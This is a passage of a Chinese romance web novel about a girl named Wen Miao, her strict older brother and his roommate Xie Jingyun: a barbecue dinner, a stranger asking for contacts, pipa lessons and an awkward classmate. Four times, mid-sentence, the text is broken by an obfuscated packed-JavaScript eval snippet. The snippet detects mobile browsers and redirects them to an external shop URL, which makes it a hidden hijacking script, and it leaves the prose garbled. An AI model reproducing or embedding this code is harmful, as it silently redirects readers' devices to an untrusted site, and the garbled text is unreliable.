毕竟,后来的温宿进入了对她尤其不耐烦的叛逆期,总是板着脸,动不动就训她。那个会为了她痛哭流涕的哥哥,好像只短暂地存在于妈妈的口述和她模糊的记忆里。 “不生气吗?”谢京韫微微侧头,目光落在她低垂的睫毛上,“因为他没带你,你才摔的。” 温淼抬起头,对上他询问的眼神,很认真地想了想:“为什么要生气?是我自己要偷偷跑去找他的。又不怪他。” “而且,”她顿了顿,“我哥他那时候也只是个小孩而已。” 是不能拿大人的标准去要求一个小孩的。温淼想。 — 进入烤肉店,蒋睿鹏已经找了个靠窗的六人卡座。温淼被让到了最里面的位置坐下。 “妹妹,你看看菜单,还要不要加点什么?”蒋睿鹏把菜单推过来。 “不用了,你们点就好。”温淼低着头,正跟服务员递过来的围裙带子较劲,随口答了句。这围裙的系带设计有点反人类,她弄了半天都没系好。 “行。那我看着点了。你哥请客,那我肯定要宰他一顿……” 温宿是和另一个男生顾承一起来的,两人前脚进了店,后脚他们点的第一批肉和菜也陆续上了桌。 他们点了很多肉,五花、牛肋条、雪花牛肉堆了满满几大盘,还叫了几瓶烧酒。 温淼平时和朋友来吃烤肉,因为都是艺术生准备考试的缘故,他们点的分量都比较克制,不敢太过于放纵,偶尔点个普通套餐都会有吃不完的情况。她吃了几片肉就感觉撑得不行,看着旁边的人还在加菜,严重怀疑他们是不是饿了好几天被放了出来。 中场休息的时候,他们几个人在聊天,温宿学建筑的,今年大四,马上毕业,聊的话题也是围绕着考研、实习、找工作、以前的校友之类,都是温淼不太熟悉也不太插得上话的内容。 无聊到没有特别无聊,她反正就偶尔听听,更多时候在观察桌上那几瓶绿色的烧酒。 琥珀色的液体在玻璃瓶里轻轻晃动,看起来……有点诱人。 她又偷偷瞄了温宿一眼。 很好,他正和顾承聊得起劲,没注意到她这边。 那她可以尝一点吧。 她假装不经意地伸手,指尖刚碰到冰凉的瓶身—— “咻。” 瓶子被人从旁边轻轻抽走了。 温淼抬头,谢京韫坐在她正对面,一只手随意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091448|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地撑着脸颊,视线甚至都没落在她这边,正听着温宿和顾承说话,另一只手却精准地挪开了酒瓶,然后将一杯大麦茶推到了她手边。 动作自然流畅,仿佛她刚才只是不小心拿错了东西。 温淼盯着那杯茶,眨了眨眼,有点不甘心。手指悄悄挪向另一瓶离她稍近的烧酒。 指尖还没碰到,谢京韫就开口了,语气自然得像在讨论天气:“温宿,这瓶你还喝吗?” “喝什么,我这瓶还没喝完……”温宿顺着那个方向看过来,眯起眼睛,“温淼,你干什么呢?” 还没来得及抽开手的温淼:“……” “需要我再提醒你一遍,你还没成年吗?” 她严重怀疑谢京韫是故意的。 温淼悻悻地收回手,还不忘小声强调:“我还有一个多月就成年了!” 温宿眼皮都懒得抬:“恭喜你。不过真是一点都看不出来。” “你也一样。”温淼立刻反击,“一点都不像二十三岁的人。” 她顿了顿,上下打量他一眼,故意拉长了语调:“看着像三十三。” 温宿:“……?” 温淼像是找到了反击的乐趣,继续一本正经地胡说八道:“哦,不对,我搞错了。你不像三十三,你像四十三。” 饭桌上安静了一瞬。 顾承没忍住,低头咳了一声。蒋睿鹏差点被一口肉呛到。 温宿的脸色以肉眼可见的速度黑了下来,额头青筋跳了跳。 温淼说完这句,也没忘了旁边的“始作俑者”谢京韫。 她扭过头,看向对面那个正慢条斯理给她夹肉的男人,眼神里带着控诉:“哥哥,你比他好一点。你像四十二。” 谢京韫闻言,动作一顿,随即放下夹子,身体微微向后,靠在了卡座的椅背上。 他脸上没什么被冒犯的表情,那双桃花眼尾微微上挑,拖长了语调:“你确定我像四十二?” 温淼脸不红心不跳:“嗯。” “行吧,”谢京韫点点头,语气居然还挺坦然,“四十二就四十二,好歹比你哥年轻一岁。哥哥听着,还挺开心的。” 蒋睿鹏刚咽下去的肉差点又喷出来,他目瞪口呆地看着谢京韫:“哇靠!谢京韫,你现在走这种闷骚路线了是吧?”他长这么大,还没见过被人当面说老还能这么坦然,甚至有点荣幸的人。 温宿推开旁边碍事的蒋睿鹏,拧着眉头:“谢京韫凭什么就四十二?”凭什么他就得是四十三?! 其实温淼刚才纯粹是想说温宿脾气更臭嘴更毒所以更老,但谢京韫现在这副乐于接受甚至沾沾自喜的样子,明显是在逗她玩,把她那点幼稚的挑衅当成了小孩子过家家。 这让她感觉一拳打在了棉花上,非常不爽。 于是话到嘴边,她改成了:“他比你不要脸一点。” 温淼真诚建议:“哥,如果你也学他厚脸皮,说不定也能年轻两岁。” “噗——”顾承这次彻底没忍住,笑出了声,连忙拿起茶杯掩饰。 就在这时,旁边忽然传来一个略显局促的女声,打断了这桌幼稚十足的对话:“抱歉,打扰一下。” 几人同时往旁边看去。 只见邻桌站着一位穿着牛仔裙的女生,妆容精致,长发披肩,看起来年纪和他们相仿。她手里拿着手机,目光落在了正靠在椅背上的谢京韫身上。 5. chapter5 第五章 “方便的话,可以加个联系方式吗?” 女生声音不大,带着明显的羞赧和期待。她身后不远处,还有几个同样年轻的女孩正捂着嘴偷笑,朝这边张望,显然是被朋友们怂恿着推出来的。 气氛一时有些尴尬。拒绝也是,不拒绝也是。至少温淼是这么觉得的。她下意识地看向对面的谢京韫。 只见谢京韫依旧保持着刚才靠在椅背上的闲适姿态,没动,也没立刻回应。他的目光轻飘飘地扫过女生身后那群看热闹的朋友,眉头微微蹙了一下,然后从口袋里拿出手机。 温淼从他的眼神里读出了一丝极淡的疏离,以及一点点几乎难以察觉的无奈?她脑子里灵光一闪,还没等谢京韫开口,自己先一步探出身子,抢在了前头: “姐姐,我哥哥他刚离婚。” 为了增加话的可信度,她不等对方反应,立刻又指了指旁边的顾承和蒋睿鹏,一本正经:“今天是他带孩子出来吃饭,散散心。” 那个女生明显愣住了,脸上的红晕褪去了一些,取而代之的是错愕:“他……有孩子了?还这么大?” “是吧,”温淼用力点头,表情无比真诚,“看不出来吧?还是双胞胎呢。” 她压低声音,凑近了一点:“姐姐,你这么漂亮,条件这么好,还是别委屈自己了。好男人到处都是,何必呢?你想啊,长这样……”她悄悄指了指谢京韫那张过分好看的脸,又迅速收回手,“……还能被甩,得是干了什么多过分的事啊,你说是不是?” “……” 女生被她这一连串的信息砸得有点懵,下意识地顺着她的话想了想。 好像……是有点道理?长得这么帅还离婚,还有双胞胎孩子,这水是不是有点深? 温淼觉得自己这番临场发挥简直是天衣无缝,她心里有点小得意,悄悄往谢京韫那边瞟了一眼。 正对上谢京韫看过来的眼神。 他眼皮耷拉着,看她的眼神似笑非笑。 好吓人。 温淼那点小得意瞬间变成了心虚,她赶紧挪开视线,假装去夹烤肉。 谢京韫的手指在桌面上轻轻敲了一下,没拆穿她,反而顺着她的话,用带着点诚恳的语气接道:“嗯,我今年42。如果你不介意的话,联系方式可以加。” “刚好我也觉得一个人带两个孩子有点辛苦。” 女生脸上露出鄙夷的表情,飞快地摆手:“不了,这福气我还是不要了。” 她的目光在桌上扫了一圈,似乎觉得就这样铩羽而归有点丢面子,又或者是为了向身后的朋友交代,她指了指温宿。 “妹妹,那他应该没离婚吧?我朋友……想问一下他的联系方式。” 温淼“喔”了一声,眼神在温宿和谢京韫身上来回逡巡。 温宿眉心狠狠一跳,一股不祥的预感涌上心头,刚想开口制止这个不知道还会说出什么惊世骇俗之语的妹妹—— 就听见小姑娘用一种清脆又无辜的嗓音,再次开了口: “姐姐,你放心,他倒是没离婚。” 温宿刚松了口气。 温淼慢悠悠地补充了后半句。 “不过,他在努力争取做继爸。” “.......” “继爸?” “嗯嗯。” 那个女生手指无意识地抠着手机壳的边缘,最终,她像是消化了这过于冲击的信息,非常诚恳、甚至带着一丝同情地留下一句:“那他们加油。” 然后,她几飞快地转身,回到了自己的朋友堆里。隐约还能听到她低声快速解释着什么,以及那群朋友压抑不住的惊呼。 温淼伸长脖子,想再观察一下战果,一只手直接伸过来,毫不客气地把她的脸扳正,强制她看向自己。 温宿那张俊脸在她眼前放大,脸上是皮笑肉不笑的危险表情:“温淼,请你给我解释一下,继爸是个什么鬼东西?” “后爸的意思啊。” 旁边的蒋睿鹏实在没忍住,好心提醒:“妹妹,那玩意儿是不是叫继父?” 有区别吗? 温淼被他俩问得有点懵,晃了晃脑袋,没转过弯来:“意思差不多吧?” 这差很多吧。 几个大男人看着小姑娘那副理直气壮又带着点茫然的样子,面面相觑,谁也没有说话。 “温淼,我是真有点担心你高考成绩了。” 温宿深吸一口气,按捺住想敲她脑袋的冲动,冷冷地宣布:“回去之后,你平板电脑上交。连带之前离家出走的一起算,禁用一个星期。” 真不知道整天都在看什么, 一听要没收平板,温淼不干了。暑假在家本来就无聊,平板是她看剧、刷视频、和朋友聊天的唯一乐趣来源,没收了让她干什么?发呆吗? “我这还不是帮你们!”她撅起嘴,委屈巴巴地辩解,“你们不想加又不说话,人家一个女孩子站在那里多尴尬,还有朋友在那,我是在缓解气氛!” 她说着,把求救的目光投向一直没怎么说话的谢京韫,希望他能懂自己的良苦用心。 “你说呢,哥哥,我说的是不是有道理?” 谢京韫迎上她期盼的眼神,表情平静无波,甚至带着点爱莫能助的遗憾,缓缓开口: “好像是有点道理,但哥哥也帮不了你。” 他顿了顿,在温淼逐渐垮下去的小脸注视下,不急不缓地补上了后半句: “毕竟,哥哥家里还有两个孩子要照顾。” 就这样把这句话原封不动地还给了她。 温淼:“……” 她的小脸彻底垮下来。 如果说温宿是那种有仇当场就报的类型,那么谢京韫则是事后暗戳戳记仇的性格。 这个男人,也太记仇了! — 从烤肉店出来,在门口等温宿结账,蒋睿鹏清了清嗓子,和她说:“妹妹,其实你不帮忙也行,像刚刚那种情况,你哥他们很有经验的。“ 温淼撕着烤肉店送的薄荷糖:“有什么经验,离婚带两娃吗?” 蒋睿鹏被噎了一下,旁边一直话不多的顾承推了推眼镜,难得主动接话:“是被搭讪然后拒绝的经验。刚上大学军训那会儿,我们那个方队天天被别的连队甚至别的学院的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091449|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生围观、要联系方式。温宿一般就是冷着脸,直接当没看见,谢京韫稍微温和点,有时候会加,但加了之后,基本不超过24小时就删了。” “然后呢?”温淼来了点兴趣,薄荷糖也不撕了。 “然后两个人就一起被挂上校园墙了,被说是strong哥。” “strong哥?什么意思?” 蒋睿鹏憋着笑解释:“你读快点,连着读。死——装——哥。大概意思就是,明明心里暗爽得要命,还非要装作拒绝的样子,死装。” “帖子在哪,还能找到吗?” 蒋睿鹏乐了:“应该是挺早的了,怎么,你想帮你哥他们打抱不平?” 温淼嘀咕:“太可惜了,我还想去点赞呢.....我刚刚怎么没想到用这个词,这样的死装哥,你们宿舍居然同时拥有两个,这是什么风水宝地。” 话音刚落,她就感觉后脑勺扎着的丸子头被人从后面轻轻揪住了一缕头发,不疼,但带着明显的警告意味。 谢京韫的声音从她背后幽幽传来:“温宿,你妹的平板,能不能考虑没收两周?” 温宿正好结完账走出来,把信用卡塞回钱包,干脆利落地点头:“我正有此意。” 于是,因为口无遮拦而喜提平板电脑两周刑期的温淼,在接下来去超市采购零食饮料的活动中,果断选择了以压榨温宿钱包的方式来进行报复。 超市里,小姑娘推着购物车,目标明确地冲向零食区,跟不要钱似的往车里扔薯片、巧克力、果冻、辣条……温宿就跟在她身后,她放一个进来,他就面无表情地拿起一个,研究一下配料表或者热量表,然后大多又原路放回货架。 蒋睿鹏看着这兄妹俩无声的拉锯战,忍不住咂舌,用手肘碰了碰旁边的谢京韫,小声嘀咕:“兄弟,你说温宿他妹这样,是不是挺受男生欢迎的?” 谢京韫刷着手机:“她不是还小。” “不小了吧,都快成年了,想当年我这个时候就已经开始地下恋情了。” 温宿正把一包高热量的膨化食品放回货架:“哪个男生受得了她这脾气。” “怎么会呢!”蒋睿鹏反驳,“小姑娘多有意思啊,长得跟洋娃娃似的,性格又……” 他努力想找个褒义词,“又生动!上了大学,脱离了你的魔爪,那还不得是众星捧月?以我对男人的了解,他们不都抢着给她买零食、送早餐、占座位。” 谢京韫表情没变:“你觉得她看得上这些东西?” “也是,起点太高了,一般的男人估计入不了她的眼。让我想想….” 蒋睿鹏还在畅想:“那你说咱妹喜欢什么样的男生啊?阳光运动型?斯文学霸型?还是像你这样的死装……咳,成熟稳重型?我认识的人多,可以帮她物色物色,把把关。哎,咱妹结婚那天温宿会不会哭?那可真是太稀奇了,这样我的人生愿望清单也能实现一个了。多亏了咱妹啊。” “…..” “蒋睿鹏。” “……嗯?” “别的我不知道。”谢京韫顿了顿,修长的手指将手机轻轻转了个面,“但她应该不是你妹。” 6. chapter6 第六章 接下来的几天,没了平板和小手机的温淼,抱着那部白色的诺基亚,体会了一把什么叫度日如年。 温宿和谢京韫似乎各自都有事情要忙,白天都不在家。后来他们大概商量了一下,决定轮流留一个人在家看着她,美其名曰防止她无聊生事或者再次离家出走。 相比于温宿那种去哪都要跟他报备的看守所长模式,谢京韫的监管就显得松散多了。他要么在客厅敲电脑,要么在院子里那些半死不活的小白菜并向她请教浇水秘诀,从不盘问她出门干什么。 这让温淼的刑期好过了不少。 不过这样的监禁生活没有持续太久,因为她很快就要恢复去艺术培训机构练琴了。 机构位于市中心一栋写字楼里,是一家专门服务艺考生的综合机构。一楼是美术教室,二楼是表演和舞蹈教室,三楼则是专门给音乐生留的一些隔音比较好的训练室。 一进大门,墙上密密麻麻贴满了各个专业优秀毕业生的照片和录取喜报,前台围着带着孩子来咨询或陪同上课的家长。 暑假,对于这些追求艺术道路的学生来说,是突击冲刺的黄金时间。 温淼背着琴包,熟门熟路地进了电梯,按下三楼的按钮。 她的练习室正对着电梯门。电梯门一开,就看见玻璃门被推开,她的琵琶老师徐之苒正送着上一节课的学生和家长出来。 那是个梳着低马尾的女生,看起来比温淼小一两岁,旁边的家长正急切地和徐老师交流:“徐老师,您看我们孩子这个水平,明年冲联考有希望吗?我们可是准备让她走这条路的。” “孩子的基本功和能力是有的,但明年就参加艺考,时间上会不会太赶了?琵琶这门乐器,需要长时间的积淀和打磨,我个人建议,或许再多准备一年,基础打得更牢靠些,把握会更大。” “不行啊老师,她明年就高考了,文化课压力也大,就指着这个加分呢。” “学琴,尤其是走专业路线,真不是一朝一夕、临时抱佛脚就能成的。如果只是为了升学而学,我建议您和孩子都再慎重考虑考虑。” 徐之苒送走了面带忧色的家长,转身看到温淼,脸上才露出笑容:“里里来啦。” 温淼点头,放下琴包,跟着老师走进熟悉的练习室。 练习室里空调开得很足,隔绝了外面的闷热。有些日子没正经练了,手指按上琴弦的瞬间难免有些生疏,温淼调整呼吸,试了几个音,心神也随之沉静下来,进入了那个只有她和琵琶的小世界。 其实高考结束,专业课考试也早已尘埃落定,她现在练琴,与其说是为了应试,不如说是一种习惯的保持,是对手感与乐感的维护,也带着点对未来的模糊准备。 练习结束后,徐之苒针对她刚才的演奏提了几点细节上的建议,一边帮她收拾谱架,一边闲聊般提起:“对了,前几天你妈妈打电话问我,有没有什么好的院校推荐。我说以你联考和校考的成绩,选择面其实很广。” “像昌南大学本校的音乐学院,或者A大的音乐系,以你的分数肯定没问题。如果愿意冲一冲,比如江都音乐学院,说不定也能够得上。” 温淼正低头解着缠在手指上的弹拨胶布,听到“江都”两个字,动作几不可察地顿了一下。 之前,她几乎没考虑过昌南以外的大学,一来是觉得麻烦,二来似乎也从未有过强烈的意愿去其他地方。所以对于其他城市的音乐学院,她了解得并不多。 “老师,”她抬起头,眼神里带着一丝好奇和犹豫,“江都音乐学院很好吗?” 徐之苒有些惊讶她对江音表现出兴趣:“其实单论琵琶专业的教学水平,国内排名前几的院校都差不多,各有侧重。但江音有个很大的优势,他们下属有一个非常成熟、享誉国内外的民族管弦乐团。如果大学期间专业成绩突出,通过乐团的考核,是有可能毕业后直接获得乐团席位的。这对于学民乐的学生来说,是条非常理想且稳定的出路。” 她顿了顿,看着温淼若有所思的表情,补充道:“其实从专业发展和未来机会的角度,我个人是比较建议你考虑一下江音的。不过……你妈妈在电话里的意思,好像不太希望你去外地念书,觉得离家太远,不放心。” 坐着电梯下楼时,温淼脑子里还在反复想着徐老师的话。 江都音乐学院,乐团,直接工作机会这些陌生的词汇和可能性,让她心里那潭名为未来的湖水,泛起了不同于以往的涟漪。 电梯停在二楼,门开了,涌进来几个人,有男有女,看样子是机构里学播音主持或者表演的学生,大概是暑假回来帮忙拍招生宣传素材的。 温淼有些心不在焉地往电梯角落退了一步,没太注意进来的人。 “温淼?你没和傅桃一起去旅游啊?” 一个男生响起。温淼抬头,看见站在面前穿着耐克防晒服的男生。男生叫秦项,右耳戴着一枚小巧的银色耳钉,正和几个朋友一起挤进电梯,看到她,眼睛一亮。 温淼又往角落里缩了缩,简单地回答:“没有。” “那你能联系上傅桃吗?”秦项凑近了些,“她最近都没回我消息,电话也不接,好像是生我气了。就前几天,不知道谁把王老师拍的宣传照发给她了,她看见我和别的女生一起拍照,可能有点误会。你跟她关系最好,帮我说说好话,解释一下呗?” 秦项比温淼大一届,留过级,是学表演的,外形条件不错,在机构里也算小有名气。之前温淼的好友傅桃来机构找她玩,一眼就看中了秦项,然后展开了轰轰烈烈的追求。两人似乎有过一段暧昧期,但最近好像闹了别扭。 “我联系不了,”温淼摇摇头,“我手机被家里没收了,登不了□□。” 这话一半真一半假。手机确实被收了,但真想联系也不是完全没办法。最主要的是,她不想掺和进朋友的感情纠葛里。 秦项走到她旁边:“这都什么年代了,还能没收手机?你家里管得也太严了吧。”他旁边的几个朋友也跟着发出几声哄笑。 温淼没接话,只是加快了脚步,想快点走出去。 “那要不这样,你把你的电话号码给我?等你什么时候能联系上傅桃了,让她回我个消息,或者你告诉我一声也行。” “因为过几天不是我生日嘛,我组了个局,还想叫她一起来。而且你应该知道她喜欢什么吧?这样我也好准备点惊喜。” “……”温淼脚步停顿下来,看着秦项带着期盼的眼神,又想到傅桃前段时间为了他和她们几个朋友疯狂抱怨的样子。 “我写给你吗?”她问。 这是答应了。 “啊,不用,”秦项连忙掏出自己的手机,解锁,调出新建联系人页面,递给她,“你直接存我手机里就好,方便。” 温淼换了个肩膀背琴包,腾出手,接过那只最新款的触屏手机,在屏幕上笨拙地输入自己的那串诺基亚号码。 输入完号码,她刚要把手机递还回去,却注意到秦项的目光并没落在她身上,而是越过她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091450|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头顶,直直地盯着电梯口的方向。 温淼顺着他的视线回头看去。 谢京韫就站在机构大厅的玻璃门外,面前站着机构里一位负责招生的老师,似乎在和他说着什么。但谢京韫的目光,却穿透玻璃门和来往的人群,不偏不倚地,落在了她……以及她手里拿着的、属于秦项的手机上。 “……” 温淼心里莫名一慌,接着飞速地把手机塞回还愣着的秦项怀里,几乎是同手同脚地朝着玻璃门快步走去。 “哥哥,你怎么来了?” 她走到谢京韫面前,仰起头问。她一般都是自己坐公交车回家的,从没让人接过。 谢京韫的目光从她脸上掠过,又淡淡地扫了一眼不远处还在张望的秦项,伸手接过了她背上的琴包,并将一直拿在右手的奶茶递给她:“我刚好在附近商场有个兼职,结束了,顺路过来接你回家。” “哦。”温淼接过奶茶,低头把吸管插进去,啜了一口,甜滋滋的。 “你不要误会。”她没头没脑地小声补充了一句。 应该没误会吧。 “误会什么?”谢京韫微微挑眉,带着点若有所思,“误会你和补习班的小男生交换联系方式,相谈甚欢?” 温淼纠正:“哪有相谈甚欢,你看错了。” 男人垂下眼睫看她,声音压低了些:“那早知道今天应该让你哥来接。他眼神好,估计看得更清楚。” “……” 温淼被一口珍珠呛到,连忙抬头看他:“你不要和温宿说!” 谢京韫看着她紧张的样子,故意拖长了语调:“还真有什么……不能说的啊?” “什么跟什么啊!我是怕你乱说,本来就没什么!” “那你们刚刚,”谢京韫用下巴示意了一下秦项离开的方向,“在干什么?” 温淼解释:“那是我朋友喜欢的人。他好像想跟我朋友表白,找我帮忙。我就把我电话号码给他了。” 她强调:“就只是传个话!我朋友最近不搭理他。” 谢京韫听完,没立刻说话,只是静静地看着她。那双桃花眼在逆光下显得格外深邃,让人猜不透他在想什么。 “真的?” “这有什么好骗的,他又不是我喜欢的类型。” “哦,那里里喜欢什么样的?” 这还是谢京韫第一次叫她的小名,那两个字从他口中说出来,带着一略显陌生的温和亲昵。温淼手指无意识地蜷缩了一下。 “我不告诉你。”她偏过头,小声嘟囔,像是为了掩饰那点不自在。 几秒钟的沉默后,身旁的男人似乎低低地笑了一声,那声音很轻,消散在夏日的热风里。 “等你上了大学,会遇到更多人,选择也更多。不急。” “说了是我朋友喜欢他,不是我!” “是。”谢京韫从善如流地应道,语气里那点逗弄的意味收敛了些,“就算是朋友,有些事你也最好少掺和。明白吗?” “我当然知道。” 温淼小声回了一句,踢了踢脚边的小石子。 她又不是傻子,才不想夹在中间左右为难。 这次纯粹是看傅桃前段时间实在太难过,加上秦项态度也算诚恳,才勉强答应传个话。 她悄悄抬眼,看了看身边人的侧脸。 他明明和温宿一样大,怎么说话做事好像什么都看得明白一样。也不会对她过分干涉。 这种相处方式,让她觉得还挺轻松的。 7. chapter7 第七章 吃完晚饭,温淼以要查一下意向学校信息为理由,终于从温宿那里短暂地赎回了平板电脑的使用权,时限:两小时。 她抱着平板窝在自己房间的小沙发里,还没连上Wi-Fi,旁边诺基亚消息提示音就响个不停,吵得她有点烦。 偏偏那部老旧的诺基亚她还没完全摸透,不知道怎么关闭短信提示音。 她拿过手机,几条短信都来自一个未知号码。 本着有事找她自会想办法的原则,她没有存电话联系人的习惯,知道这个手机号的,除了家人,就只有下午刚给出去的秦项。 秦项:【你怎么没跟傅桃她们去旅游啊?我都好久没用短信跟人发消息了,还有点不习惯。】 秦项:【我来机构好几天了都没看到你,还以为你和傅桃一起去玩了呢。】 秦项:【下午来接你的那个是你男朋友?】 温淼本来不打算理会,但看到最后那句关于“男朋友”的揣测,手指顿了顿,还是回了一条。 温淼:【那是我哥哥。】 虽然不是亲的。 消息几乎是秒回。 秦项:【这样啊,我都忘了你还有个哥哥了。】 秦项:【我还以为你随便给了我个空号呢,这下放心了。】 秦项:【对了,下周我生日,组了个局,在KTV,你来吗?都是机构的同学,还有几个朋友,挺热闹的。】 温淼蹙起眉头。 这人是不是搞错了重点? 温淼:【你不是来找我问傅桃的事情吗?】 秦项:【你当然是傅桃最好的朋友啊,我肯定要先跟你搞好关系嘛。而且,我也想多了解一下你。别误会哈。】 她误会什么了? 温淼盯着这条回复,心里那点因为帮朋友传话而产生的一丝犹豫,瞬间消散得无影无踪,取而代之的是一种不适和反感。 她没再回复,直接把诺基亚丢到床铺的另一头,屏幕朝下,眼不见为净。 重新拿起平板,她点开浏览器,输入“江都大学音乐学院”,仔细看了起来。 官网介绍详尽,尤其是那个民族管弦乐团的介绍页面,占据了很大篇幅,里面有很多乐团在国际上演出、获奖的照片和视频链接。 看了好几个现场的视频,时间在不知不觉中流逝。她心里那点模糊的向往似乎被勾勒得更清晰了些,但随即又一些现实因素拉扯着,有些乱。 退出浏览器,她点开了企鹅图标。 登录上去,消息提示音更是响成了一片。几个好友群的未读消息都显示着99+。 她大致翻了翻,大多是傅桃她们在旅游时发的讨论,关于下一个景点去哪、吃什么特色菜、买了什么纪念品,以及今天终于结束旅程、平安到家的报平安消息。 看着傅桃那个笑得没心没肺的动漫头像,温淼犹豫了一下,还是点了进去。 两个人的聊天记录很长,往上翻,最近几个月的话题,几乎十句里有八句都围绕着“秦项”。 傅桃会兴奋地跟她分享秦项今天穿了什么衣服,对她笑了几次,说了什么话;会苦恼地跟她分析秦项某句话是不是对她有意思,某个举动是不是暗示;也会在吵架冷战后,跑来跟她哭诉,让她帮忙出主意,想通过她去试探、去传话。 温淼慢慢往上划着屏幕,看着那些充满少女心事的、时而雀跃时而沮丧的文字,心里五味杂陈。 她一直觉得,喜欢一个人应该是很美好的事情,像傅桃这样勇敢直率地去追求,也没什么不好。 可不知道为什么,刚刚秦项发来的那些短信,还有此刻看着这些聊天记录,让她第一次对这段她一直旁观着的感情,产生了一种隐约的、说不清道不明的不安。 傅桃知道秦项会这样给她发短信吗? 如果知道,她会怎么想? 而自己这个所谓最好的朋友,夹在中间,又该怎么做才算对? 她坐直了身子,在对话里编辑文字,但不知道要怎么开口,删删打打好几次,直到温宿来她房间敲门要回ipad,消息都没有发出去。 — 第二天一早,温淼顶着两个黑眼圈从房间里飘出来。 客厅里,温宿正坐在餐桌前,面前摊着一本厚厚的专业书和几张写满公式的草稿纸。 他看着小姑娘头发睡得乱糟糟,随手从餐桌上抓起一片吐司就往嘴里塞,一副魂不守舍的样子,不由挑眉:“不至于吧温淼?这才几天没玩平板,就给你熬成这样了?电子鸦片危害这么大?” 温淼叼着面包,含混地应了一声,没精打采地往门口挪。 昨晚她确实没睡好,脑子里一会儿是江都音乐学院官网的照片,一会儿是秦项那几条目的不明的短信,一会儿又是傅桃在企鹅上那些充满纠结的对话,乱七八糟搅成一团。 “夸我两句好听的,我开车送你去机构?”温宿大概是看她这副样子实在有点惨不忍睹。 温淼想了想可能随之而来的拷问,果断摇头:“那我还是自己去坐公交吧。” 因为没睡好,她反应也比平时慢半拍。先是错过了一趟刚开走的公交车,在站台多晒了十几分钟太阳,又是出门太急,忘了喷驱蚊水,从公交车下来走到机构的短短一段路,小腿就被蚊子叮满了包。就连练琴时也频频走神,轮指轮得乱七八糟。 徐之苒看出了她的不对劲,提早了十几分钟结束课程,还关切地叮嘱她:“淼淼,这几天换季,早晚温差大,看你精神不太好,注意别感冒了。回去好好休息。” 温淼蔫蔫地点头,收拾好琴包,走出练习室。 电梯门在一楼打开,她刚动,胳膊就被人一把抓住。 “里里!你下课啦!” 傅桃显然已经在机构大厅的等待区坐了好一会儿,一看到温淼出来,立刻扑了上来。 没等温淼开口,傅桃就立马挽住她的胳膊就往外走,小声道:“别回头,我们直接走。” 两人走出机构大门,拐进旁边一条相对安静的小路,傅桃这才松开手:“你没来上课的时候真是尴尬死我了!我跟你讲,刚刚秦项一直偷偷看我呢,你说他是不是后悔了,知道自己错了?” 温淼看着她神采飞扬的脸,忍不住问:“你们还在吵架吗?” “是啊!”傅桃嘟起嘴,“我出去旅游这么多天,他就给我发了几条不痛不痒的消息,问我到没到、吃了什么,然后就没了!你敢信吗?不过刚刚看他那样子,应该是在反省了。果然女生就是不能太主动。” 她挽住温淼的胳膊,晃了晃:“对了,里里,你晚上还有别的事吗?” “没什么事。” “那太好了!陪我去逛逛吧,这附近新开了一家精品店。过几天不是他生日嘛,看他态度还不错的份上,我想去给他挑个礼物。”傅桃眼睛亮晶晶的,显然已经把刚才的尴尬抛到了脑后。 温淼看着她期待的样子,想说的话又咽了回去:“也行吧,我得跟我哥说一声。” 看着她掏出那部老旧的诺基亚,傅桃惊讶地睁大了眼睛:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091451|195436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的天!你怎么把这个古董拿出来用了。” 温淼一边低头笨拙地按着九宫格按键给温宿发短信,一边解释:“还不是因为之前偷跑去江都那事,被我哥制裁了,手机和平板都被没收了。” “哎呀,你就是太听话了!这种情况就应该先斩后奏,就算被抓回来,大不了挨顿骂,也比现在用这个强啊。” 给温宿发了条短信后,两人按照导航找到了那家新开的商场。傅桃心心念念的精品店在地下一层,装修得很有格调。 一路上,傅桃都在拉着温淼絮絮叨叨。 “我知道秦项学表演的,身边女生朋友多,异性缘好,这很正常。但是这次那张照片里,他跟那个女生都快贴在一起了,我朋友发给我看的时候,我肺都要气炸了!” 